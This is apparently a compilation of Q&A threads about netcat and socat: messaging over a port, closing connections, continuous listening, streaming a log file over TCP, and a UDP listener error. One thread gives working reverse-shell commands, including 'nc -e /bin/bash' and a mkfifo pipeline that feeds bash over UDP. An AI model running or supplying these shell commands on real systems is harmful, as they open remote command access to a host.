Send Message Directly through a Port in Terminal - macos

Basically, I have saved a command that connects to a specific port in order to message in Terminal with another Mac.
$ nc -n -v -l (port)
$ nc -n -v (ip) (port) # --> When the .command file is opened, will run directly.
However, when the .command file is opened the entire feed just stops. I would like it to send a message immediately then close the connection. What would the code

If you want to keep the connection listening you would use -kl (keep listening).
nc -n -v -kl (port)
With the other connection you can immediately send data and close the connection by:
nc -n -v (ip) (port) < <(echo "hello, world!")
The listening connection should stay alive and wait for further connections...

Related

How close connection in netcat in a shell script after a pipe?

I want to write a script to test my server and I want to be able to connect and disconnect thousands of users in a script that uses nc, what I came up with is:
echo "Test" | nc localhost <port> &
NCPID=$!
sleep 1
kill -kill $NCPID
But I'd like to remove the sleep 1 and still get the netcat connection closed after "Test" was echoed, how could I do that ?
Check -w option for netcat:
-w timeout If a connection and stdin are idle for more than timeout seconds, then the connection is silently closed. The -w flag has no
effect on the -l option, i.e. nc will listen forever for a connection,
with or without the -w flag. The default is no timeout.
echo "Test" | nc localhost <port> -w 1 &

Obtain reverse shell over UDP with netcat

I want to get a reverse shell over UDP using netcat. Netcat by default sends traffic over TCP, so in order to send it over UDP I run the -u option like this:
Host 1:
nc.traditional -l -p 4444 -v -u
Host 2:
nc.traditional localhost 4444 -e /bin/bash -u
But when I type a bash command I do not get the output. Why is that?
There are several problems with this:
You use localhost on Host 2. This is a special hostname that refers to the current host, not to Host 1.
UDP has no connections. Host 1 won't know where to send packets if it doesn't receive a message first.
bash reads input character by character, which doesn't work well with non-stream packet based data.
You can instead connect nc and bash with streams, and then send an immediate packet so that Host 1 will know where to send the commands you enter:
Host1:
nc.traditional -l -p 4444 -v -u
Host 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo

Continuously listen to tcp port via terminal

Is it possible to listen to a port continuously?
I listen for incoming tcp notifications with following command
sudo nc -l -p 999
But as soon as notification arrives I have to restart listen with same command. Is it possible to listen to port without having to restart command when notifications arrives until user decides to abort listen?
Sorta outdated question, but came up first on my Google search.
In order for netcat not to shutdown as soon as the first connection is received, you can add the -k option.
From the man:
-k Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option.
Src: https://superuser.com/a/708133/410908
Solved with a simple bash script
#!/bin/bash
#Make Sure Script Is Ran As Root
if [ $(id -u) != 0 ]; then
echo; echo -e "\e[1;31mScript must be run as sudo. Please Type \"sudo\" To Run As Root \e[0m"; echo
exit 1
fi
echo "Enter port to listen"
read portL
while true;
do
nc -l -p $portL
done
exit 0
Thanks dreamlax for the tip!

socat - problems with logfile to tcp binding

I have a question to using socat in a special situation. I have a logfile on a system e.g. /var/log/logfile.log and I want to do a binding from the logfile to a tcp (telnet) connection.
So when I start a telnet to the system I will see new entries in the logfile.
I try this:
sudo socat -v tcp-l:4712,reuseaddr,fork file:"/var/lser2net/ser2net.log",nonblock,
That works but even when a new entry will write in the logfile, I got the whole logfile via telnet again.
I only need new lines, not the whole logfile.
Any ideas?
Using the tail command:
To see the last 10 lines and then all new ones until the connection is closed:
socat -v tcp-l:4712,reuseaddr,fork exec:"tail -f -n10 /var/lser2net/ser2net.log"
To see only the last 10 lines:
socat -v tcp-l:4712,reuseaddr,fork exec:"tail -n10 /var/lser2net/ser2net.log"
To see only new lines until the connection is closed:
socat -v tcp-l:4712,reuseaddr,fork exec:"tail -f -n0 /var/lser2net/ser2net.log"
Good luck!

Bash script upd error

I execute my bash script PLCCheck as process
./PLCCheck &
PLCCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OKConnection" | netcat -u -c $HOST $PORT
done < <(netcat -u -l -p 6001)
It listens on UDP Port 6001.
When I want to execute my second bash script SQLCheck as process that listens on UDP Port 4001
./SQLCheck &
SQLCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OPENEF1" | netcat -u -c $HOST $PORT
done < <(nc -l -p 4001)
I got this error:
Error: Couldn't setup listening socket (err=-3)
Port 6001 and 4001 are open in the iptables and both scripts work as a single process. Why do I get this error?
I have checked the man page of nc. I think it is used on a wrong way:
-l Used to specify that nc should listen for an incoming connection rather
than initiate a connection to a remote host. It is an error to use this
option in conjunction with the -p, -s, or -z options. Additionally,
any timeouts specified with the -w option are ignored.
...
-p source_port
Specifies the source port nc should use, subject to privilege restrictions
and availability. It is an error to use this option in conjunction with the
-l option.
According to this one should not use -l option with -p option!
Try to use without -p, just nc -l 4001. Maybe this is the error...

Resources